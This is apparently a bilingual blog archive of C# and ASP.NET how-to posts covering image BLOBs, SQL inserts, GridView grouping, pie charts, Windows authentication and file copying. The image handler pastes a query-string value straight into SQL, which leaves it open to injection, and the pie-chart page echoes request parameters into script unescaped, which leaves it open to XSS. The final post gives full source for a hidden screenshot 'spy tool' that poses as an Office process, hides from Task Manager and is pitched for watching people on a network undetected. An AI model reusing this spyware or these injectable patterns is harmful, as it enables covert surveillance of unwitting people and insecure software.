Archiv der Kategorie: .NET

ASP.NET / Sparx Systems Enterprise Architect : Read binary Image from Database ( BLOB ) and show / display it on a webpage

Problem

A binary picture that has been saved in a database or an Access File (i.e. of the Sparx Systems Enterprise Architect) shall be displayed on a web page.

Approach

  1. Create a new ASP.NET Webform and name it GetImage.aspx
  2. Go to the Page_Load function in it
  3. Paste the code under solution in the area in customize according your data structure (here it is Sparx EA).
  4. Create a img-Tag in HTML, that has a src-Attribute pointing to that webpage with a get parameter img={your image id}
  5. Use Response.BinaryWrite in the way shown below

Solution

using System;
using System.Collections.Generic;
using System.Data.OleDb;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

public partial class GetImage : System.Web.UI.Page
{
    // Mit folgender URL Kann ein Bild nun rausgeladen werden 
    // http://localhost:51241/GetImage.aspx?img=343868582
    // und entsprechend in HTML über den Image-Tag geladen werden:
    // <img src="GetImage.aspx?img=343868582" />
    protected void Page_Load(object sender, EventArgs e)
    {
        string sqlStatement = @"
            SELECT Image 
            FROM t_image 
            WHERE ImageID={ImageID}         
        ";

        sqlStatement = sqlStatement.Replace("{ImageID}", Request.QueryString["img"].Trim());

        OleDbConnection conn = new OleDbConnection(MyConfigurationManager.eapFilePath);

        try
        {
            conn.Open();
            OleDbCommand comm = new OleDbCommand();
            comm.Connection = conn;
            comm.CommandText = sqlStatement;

            OleDbDataReader reader = comm.ExecuteReader();

            while (reader.Read())
            {
                Response.ContentType = "image/jpeg"; // if your image is a jpeg of course
                Response.BinaryWrite((byte[])reader.GetValue(0));
            }
        }
        catch (Exception ex)
        {
            //return e.Message;
        }
        finally
        {
            conn.Close();
        }
    }
}

C#.NET + MS SQL Server : Nach INSERT direkt die Auto-Increment ID erhalten ohne zweite Abfrage

Problem

Um die Auto-Increment ID zu erhalten werden desöfteren 2 Statements abgesetzt, obwohl das INSERT-Statement direkt die Auto-Increment ID zurückgeben kann

Ansatz – Approach

Anstelle von comm.ExecuteNonQuery() sollte man lieber comm.ExecuteScalar() mit SELECT SCOPE_IDENTITY() kombinieren.

Lösung – Solution

public string insertMainTherapyData(string serial_no
                    ,string therapy_start
                    ,string machine_type
                    ,string file_source
                    ,string dialog_version
                    ,string tlc_version
                    ,string versions
                    ,DateTime uploaded_on
                    ,string uploaded_by
                    ,bool processed
                    ,string user_original_file
                    ,string user_country
                    ,string user_comment
                    ,string user_upload_reason
                    ,string user_location)
{
    string sqlStatement=@"
        INSERT INTO [dbo].[therapy]
                    ([serial_no]
                    ,[therapy_start]
                    ,[machine_type]
                    ,[file_source]
                    ,[dialog_version]
                    ,[tlc_version]
                    ,[versions]
                    ,[uploaded_on]
                    ,[uploaded_by]
                    ,[processed]
                    ,[user_original_file]
                    ,[user_country]
                    ,[user_comment]
                    ,[user_upload_reason]
                    ,[user_location])
        VALUES
                    (@serial_no
                    ,@therapy_start
                    ,@machine_type
                    ,@file_source
                    ,@dialog_version
                    ,@tlc_version
                    ,@versions
                    ,@uploaded_on
                    ,@uploaded_by
                    ,@processed
                    ,@user_original_file
                    ,@user_country
                    ,@user_comment
                    ,@user_upload_reason
                    ,@user_location);
            SELECT SCOPE_IDENTITY()
            ";
    int myID = -1;
    SqlConnection conn = new SqlConnection(MyConfigurationManager.prdSqlServerString);
    try
    {
        conn.Open();
        SqlCommand comm = new SqlCommand();
        comm.Connection = conn;
        comm.CommandText = sqlStatement;
        comm.Parameters.AddWithValue("serial_no", serial_no);
        comm.Parameters.AddWithValue("therapy_start", therapy_start);
        comm.Parameters.AddWithValue("machine_type", machine_type);
        comm.Parameters.AddWithValue("file_source", file_source);
        comm.Parameters.AddWithValue("dialog_version", dialog_version);
        comm.Parameters.AddWithValue("tlc_version", tlc_version);
        comm.Parameters.AddWithValue("versions", versions);
        comm.Parameters.AddWithValue("uploaded_on", uploaded_on);
        comm.Parameters.AddWithValue("uploaded_by", uploaded_by);
        comm.Parameters.AddWithValue("processed", processed);
        comm.Parameters.AddWithValue("user_original_file", user_original_file);
        comm.Parameters.AddWithValue("user_country", user_country);
        comm.Parameters.AddWithValue("user_comment", user_comment);
        comm.Parameters.AddWithValue("user_upload_reason", user_upload_reason);
        comm.Parameters.AddWithValue("user_location", user_location);
        myID = Convert.ToInt32(comm.ExecuteScalar());
    }
    catch (Exception ex)
    {
        return "ERROR: "+ex.Message;
    }
    finally
    {
        conn.Close();
    }

    return myID.ToString();
}

ASP.NET asp:GridView gruppieren von identischen Spalten oder nach einer bestimmten Spalte / grouping identical GridView Rows/Cells or by column

Problem

Ein vorsortiertes asp:GridView (Screenshot: Original) soll nach einer Spalte (Screenshot Algorithmus 1) oder nach identischem Inhalt (Screenshot Algorithmus 2) sortiert werden.

Prämisse / Vorraussetzungen

  • Das GridView sollte vorher (z.B. mit ORDER BY-Klausel) vorsortiert werden um die bestmöglichen Ergebnisse zu erzielen.
  • Wenn nach einer Spalte gruppiert wird, sollte diese Spalte erstrangig (also erste Erwähnung in ORDER BY-Klausel) stattfinden.

Ansatz – Approach

  • Erschaffung eines Algorithmus, welcher über die RowSpan-Eigenschaft Zellen miteinander verbindet.
  • Vergleich ob der Text der Vorgängerspalte der gleiche ist
    • JA:
      • Unsichtbarschalten der aktuellen Zeilen
      • inkrement des RowSpan-Wertes der Vorgängerzeile
      • Vorgängerzeile ist nun die einzig Sichtbare
    • Nein: Weitermachen

Lösung – Solution

Vorgehensweise

1.) Auf das GridView klicken
2.) Im Objekt-Inspektor auf „Events/Ereignisse“ (also der Blitz) klicken
3.) Doppelklick auf das Ereignis „OnDataBound“
4.) in die erzeugte Methode kann der folgende Code kopiert werden

Algorithmus 1: GridView-Gruppierung nach einer Spalte

/****************************************
* ASP:GridView Grouping Algorithmus
* Quelle https://www.capri-soft.de/blog
****************************************/
// Nach dieser Spalte soll gruppiert werden
int k = 1;

// Für alle Zeilen (VON UNTEN NACH OBEN)
for (int i = GridView1.Rows.Count - 1; i > 0; i--)
{
  GridViewRow row = GridView1.Rows[i];
  GridViewRow previousRow = GridView1.Rows[i - 1];
  // Für alle Spalten
  for (int j = 0; j &lt; row.Cells.Count; j++)
  {
    if ((row.Cells[k].Text == previousRow.Cells[k].Text) && (row.Cells[j].Text == previousRow.Cells[j].Text))
    {
      if (previousRow.Cells[j].RowSpan == 0)
      {
        if (row.Cells[j].RowSpan == 0)
        {
          previousRow.Cells[j].RowSpan += 2;
        }
        else
        {
          previousRow.Cells[j].RowSpan =
          row.Cells[j].RowSpan + 1;
        }
        row.Cells[j].Visible = false;
      }
    }
  }
}

Algorithmus 2: GridView-Gruppierung für alle identischen Zellen einer GridView-Spalte

/****************************************
* asp:GridView Grouping Algorithmus
* Quelle: https://www.capri-soft.de/blog
****************************************/
// Für alle Zeilen (VON UNTEN NACH OBEN)
for (int i = GridView1.Rows.Count - 1; i > 0; i--)
{
  GridViewRow row = GridView1.Rows[i];
  GridViewRow previousRow = GridView1.Rows[i - 1];
  // Für alle Spalten
  for (int j = 0; j < row.Cells.Count; j++)
  {
    if (row.Cells[j].Text == previousRow.Cells[j].Text)
    {
      if (previousRow.Cells[j].RowSpan == 0)
      {
        if (row.Cells[j].RowSpan == 0)
        {
          previousRow.Cells[j].RowSpan += 2;
        }
        else
        {
          previousRow.Cells[j].RowSpan =
          row.Cells[j].RowSpan + 1;
        }
        row.Cells[j].Visible = false;
      }
    }
  }
}

ASP.NET: Generate Pie Charts over GET params from URL / Tortendiagramme über URL Get Request generieren

Problem

Es sollen Tortendiagramme in ASP.NET angezeigt werden.

Ansatz

Runterladen von

Die Diagramme können über einen Request-Parameter erstellt werden:

http://localhost:51241/PieChartGetParams.aspx?headline=Ich mag Bier&pieces=ein;20;komisches;50;Tortendiagramm;40

  • Headline: Ist die Überschrift des Tortendiagramms
  • Pieces: Abwechselnd durch Semikolon getrennt immer Tortenstück1;Wert1;Tortenstück2;Wert2;…;TortenstückN;WertN

Lösung – Solution

Laden Sie HighCharts runter und passen Sie untenstehenden Quellcode an:

<script src="pfad/zu/highcharts.js"></script>
<script src="charts/zu/exporting.js"></script>
<script type="text/javascript" src="Pfad/zu/jquery-1.4.1.min.js"></script>

Erstellen Sie eine ASP.NET-Seite mit folgendem Inhalt:

&lt;%@ Page Language="C#" AutoEventWireup="true" CodeFile="PieChartGetParams.aspx.cs" Inherits="PieChart" %&gt;
 
 <script type="text/javascript" src="Scripts/jquery-1.4.1.min.js"></script><script src="charts/highcharts.js"></script><script type="text/javascript">
  $(function () {
    function drawPieChart(seriesData) {
       $('#container').highcharts({
	 chart: {
	   plotBackgroundColor: null,
           plotBorderWidth: null,
           plotShadow: false,
           type: 'pie'
	 },
	title: {
          text: '<%=Request.Params&#91;"headline"&#93; %>'
	},
	tooltip: {
          pointFormat: '{series.name}: <b>{point.percentage:.1f}%</b>'
        },
        plotOptions: {
           pie: {
            allowPointSelect: true,
            cursor: 'pointer',
            dataLabels: {
              enabled: true,
              format: '<b>{point.name}</b>: {point.y} ',
              style: {
               color: (Highcharts.theme && Highcharts.theme.contrastTextColor) || 'black'
              }
           }
        }
     },
     series: [{
       name: "Percentage",
       colorByPoint: true,
       data: seriesData
     }]
  });
 }

 function addToPieChart(arr, key, value)
 {
    var obj = {};
    obj.name = key;
    obj.y = value;
    arr.push(obj);
 }

 var arr = []

 <% if (Request.Params&#91;"pieces"&#93; != null) { string piecesParam = Request.Params&#91;"pieces"&#93;; char&#91;&#93; splitchar = { ';'}; int i = 0; string label = ""; foreach(string s in piecesParam.Split(splitchar)) { if(i%2==0) { label = s; } else { Response.Write("addToPieChart(arr, '" + label + "', " + s + ");"); } i++; } } %>

  var myJsonString = JSON.stringify(arr);
  var jsonArray = JSON.parse(JSON.stringify(arr));

  drawPieChart(jsonArray);
});
</script>
    
    <script src="charts/modules/exporting.js"></script>
 

 

 

 

 

ASP.NET C#: Windows Authentication / Single Sign On

Problem

In einer ASP.NET Seite möchte man den Windows-Anmeldebenutzer ermitteln.

Ansatz / Approach

In der Web-Anwendung muss man zunächst den Haken „Enable Anonymous Access“ entfernen und einen Haken bei „Enable Windows Authentication“ setzen.

Lösung / Solution

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;

/// <summary>
/// Summary description for AuthenticationService
/// </summary>
public class AuthenticationService
{
   public AuthenticationService()
   {
	//
	// TODO: Add constructor logic here
	//
   }

    public string getUsername()
    {
        string windowsLogin = System.Web.HttpContext.Current.User.Identity.Name;

        if (windowsLogin == null) return "none";

        int hasDomain = windowsLogin.IndexOf(@"\");
        if (hasDomain > 0)
        {
            windowsLogin = windowsLogin.Remove(0, hasDomain + 1);
        } //end if 

        return windowsLogin;
    }
}

Microsoft IIS 7: Windows Authentication fehlt / missing (Single-Sign-On einstellen)

Problem

Eine Seite soll für Windows Authentication konfiguriert warden, im Bereich IIS unter dem Punkt „Authentication“ soll ein Punkt „Windows Authentication“ sein. Dieser ist nicht vorhanden.

Voraussetzungen

Es wird eine Windows Server Variante verwendet (nicht Windows 7 Home Editions)

Ansatz – Approach

Die Server-Rolle muss nachinstalliert warden.

Lösung – Solution

1.) Den Server Manager starten
server_manager_starten

2.) Einen Rollenservice auf dem IIS-Unterpunkt hinzufügen
Add_Role_Services

3.) Auswahl der Authentifizierungsmethode
select_authmethods

4.) Nun ist unter dem Punkt „Windows Authentication“ im Bereich IIS der Punkt „Windows Authentication“ vorhanden, dieser kann ausgewählt warden und Anonymous Login kann disabled warden.
punkt_vorhanden

.NET C#: Execute command line batch file and process the output line by line (line break treatment)

Problem

A Batch File should be executed and the output processed line by line. This is especially useful when you want to generate line break treatments.

Ansatz – Approach

The usage of a stream reader helps to process the output line by line.

Solution – Lösung

Process p = new Process();

// Redirect the output stream of the child process.
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;

p.StartInfo.FileName = "D:\\doors_stats\\whatschanged.bat";
p.Start();

StreamReader sr = p.StandardOutput;
string output = "";
while (!sr.EndOfStream)
{
	// Do s.th. with the received line (i.e. concate)
	output += sr.ReadLine() + "\n\n<br/>";
}

.NET C# : Verzeichnis rekursiv kopieren / Copy folder with subfolders (recursive)

Problem

A directory folder with subfolders should be copied. Ein Verzeichnis mit allen Unterverzeichnissen soll rekursiv kopiert warden.

Approach

Usage of DirectoryInfo Class: getDirectories(); in combination with „foreach (DirectoryInfo subdir in dirs)“-Loop
Usage of FileInfo Class: getFiles() in combination with „foreach (FileInfo file in files)“-Loop and Object-Method „file.CopyTo(DESTINATION_FOLDER, true);“

Solution – Lösung

public void DirectoryCopy(string sourceDirName, string destDirName, bool copySubDirs)
{
    // Get the subdirectories for the specified directory.
    DirectoryInfo dir = new DirectoryInfo(sourceDirName);
    DirectoryInfo[] dirs = dir.GetDirectories();

    if (!dir.Exists)
    {
        throw new DirectoryNotFoundException(
            "Source directory does not exist or could not be found: "
            + sourceDirName);
    }

    // If the destination directory doesn't exist, create it.
    if (!Directory.Exists(destDirName))
    {
        Directory.CreateDirectory(destDirName);
    }

    // Get the files in the directory and copy them to the new location.
    FileInfo[] files = dir.GetFiles();
    foreach (FileInfo file in files)
    {
        string temppath = Path.Combine(destDirName, file.Name);
        file.CopyTo(temppath, true);
    }

    // If copying subdirectories, copy them and their contents to new location.
    if (copySubDirs)
    {
        foreach (DirectoryInfo subdir in dirs)
        {
            string temppath = Path.Combine(destDirName, subdir.Name);
            DirectoryCopy(subdir.FullName, temppath, copySubDirs);
        }
    }
}

.NET: Spionagetool / Tool was periodisch Screenshots erzeugt / Screenshot tool / Spy Tool

Terms of use – Nutzungbedingungen

Do not use this for illegal purposes. This is a free tool to demonstrate how you can spy third persons or just generate screenshots in a folder (maybe a netdrive).

Dieses Tool darf nicht für illegale Zwecke genutzt werden und dient lediglich der Demonstration von Prozessen, die komplett versteckt im Hintergrund und unentdeckt Spionageaktivitäten ermöglichen.

Warranty – Garantie

I promise that this file is absolutely virus free and will not damage anything or give data to third persons!
Ich verspreche dass dieses Tool absolut virusfrei ist und keinen Schaden am Rechner anrichtet, geschweige denn Daten an dritte Personen weitergibt.

Description – Beschreibung

A hidden tool shall generate periodic screenshots every minute (i.e on a net drive or the directory it has been started in) and be stopable remotely.
Ein unentdeckbares Tool generiert jede Minute periodisch Screenshots in dem Verzeichnis, in dem es gestartet wurde (z.B. auf einem Netzlaufwerk) und es auch zur Not gestoppt werden kann.

Approach – Ansatz

A hidden executed process is running in the background, which is not shown in the task bar and labeled as MS Office process in the Task Manager.
Ein versteckter Prozess gibt sich als Microsoft Office Anwendung aus und ist nicht im Taskmanager unter „Anwendungen“ auffindbar. Er wird nicht in der Taskbar angezeigt.

Prerequirements – Vorraussetzungen

  • .NET Framework
  • Someone can execute the process on a netdrive / Jemand muss die Exe am Netzlaufwerk vorher starten

Solution – Lösung

  • Download and unpack the following tool on a netdrive: ScreenshotTool
  • Double click the process (this will not damage s.th. on the computer!!!)
  • The tool is producing a screenshot every minute in the folder it has been started in.
  • To stop the tool, rename close_.txt to close.txt (otherwise a restart of the computer will stop the process and there is nothing pointing to it).

Fazit

On the screenshot you see the only hint to recognize the running tool. It is not shown in the Task Manager. Via Filesharing/Samba it is possible to spy other persons in a network without getting discovered by virus scans.

taskmanager

 

Code

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Drawing.Imaging;
using System.IO;

namespace screenshot
{
    public partial class Form1 : Form
    {
        // Die Dateien werden im Pfad erzeugt, wo die Exe gestartet wird
        public string outputPath = Application.StartupPath;

        public Form1()
        {
            InitializeComponent();

            // Das Fenster bekommt keinen Border Style
            this.FormBorderStyle = FormBorderStyle.None;

            // Das Fenster wird nicht in der Task Bar angezeigt
            this.ShowInTaskbar = false;
        }

        // Entfernt das Programm aus dem Taskmanager -> Anwendungen
        protected override CreateParams CreateParams
        {
            get
            {
                var cp = base.CreateParams;
                cp.ExStyle |= 0x80;  // Turn on WS_EX_TOOLWINDOW
                return cp;
            }
        }
         
        // Erzeuge einen Screenshot
        private void button1_Click(object sender, EventArgs e)
        {
            // Prüfe ob eine close.txt existiert
            if (File.Exists(@"" + outputPath + "\\close.txt"))
            {
                this.Close();
            }


            // this.Opacity = 0.0;  // Verstecken der Form vor dem Screencopy
 
            // Screencopy erstellen und in BildschirmBMP ablegen
            Screen   Bildschirm      = Screen.PrimaryScreen; // Hauptbildschirm
 
            using (Bitmap BildschirmBMP = new Bitmap(Bildschirm.Bounds.Width, // Ziel-Bitmap
                                          Bildschirm.Bounds.Height,
                                          PixelFormat.Format24bppRgb))
            {
                using (Graphics BildschirmGR = Graphics.FromImage(BildschirmBMP))
                {
                    // Graphics erzeugen
                    BildschirmGR.CopyFromScreen(Bildschirm.Bounds.X, 
                                                Bildschirm.Bounds.Y, // Abbild erstellen 
                                                0, 
                                                0,
                                                BildschirmBMP.Size);
                }

                // this.Opacity = 1.0;  // Wieder anzeigen der Form nach dem Screencopy

                // Screencopy speichern mit Datum ein Zeitstempel
                BildschirmBMP.Save(outputPath + @"\output_" + DateTime.Now.Year + 
                "-" + DateTime.Now.Month + "-" + DateTime.Now.Day + "__" + 
                DateTime.Now.Hour + "_" + DateTime.Now.Minute + "_" + 
                DateTime.Now.Second + ".png"); // Nur mal so zum speichern
            }

        }

        // Rufe jede Sekunde auf (Timer ist ein Toolbox Element)
        private void timer1_Tick(object sender, EventArgs e)
        {
            // Jede Sekunde ausführen
            button1_Click(null, null);
        }

        // Sobald das Programm gestartet ist, starte den Timer
        private void Form1_Load(object sender, EventArgs e)
        {
            // Beim Start einmal ausführen
            button1_Click(null, null);
            timer1.Start();
        }
    }
}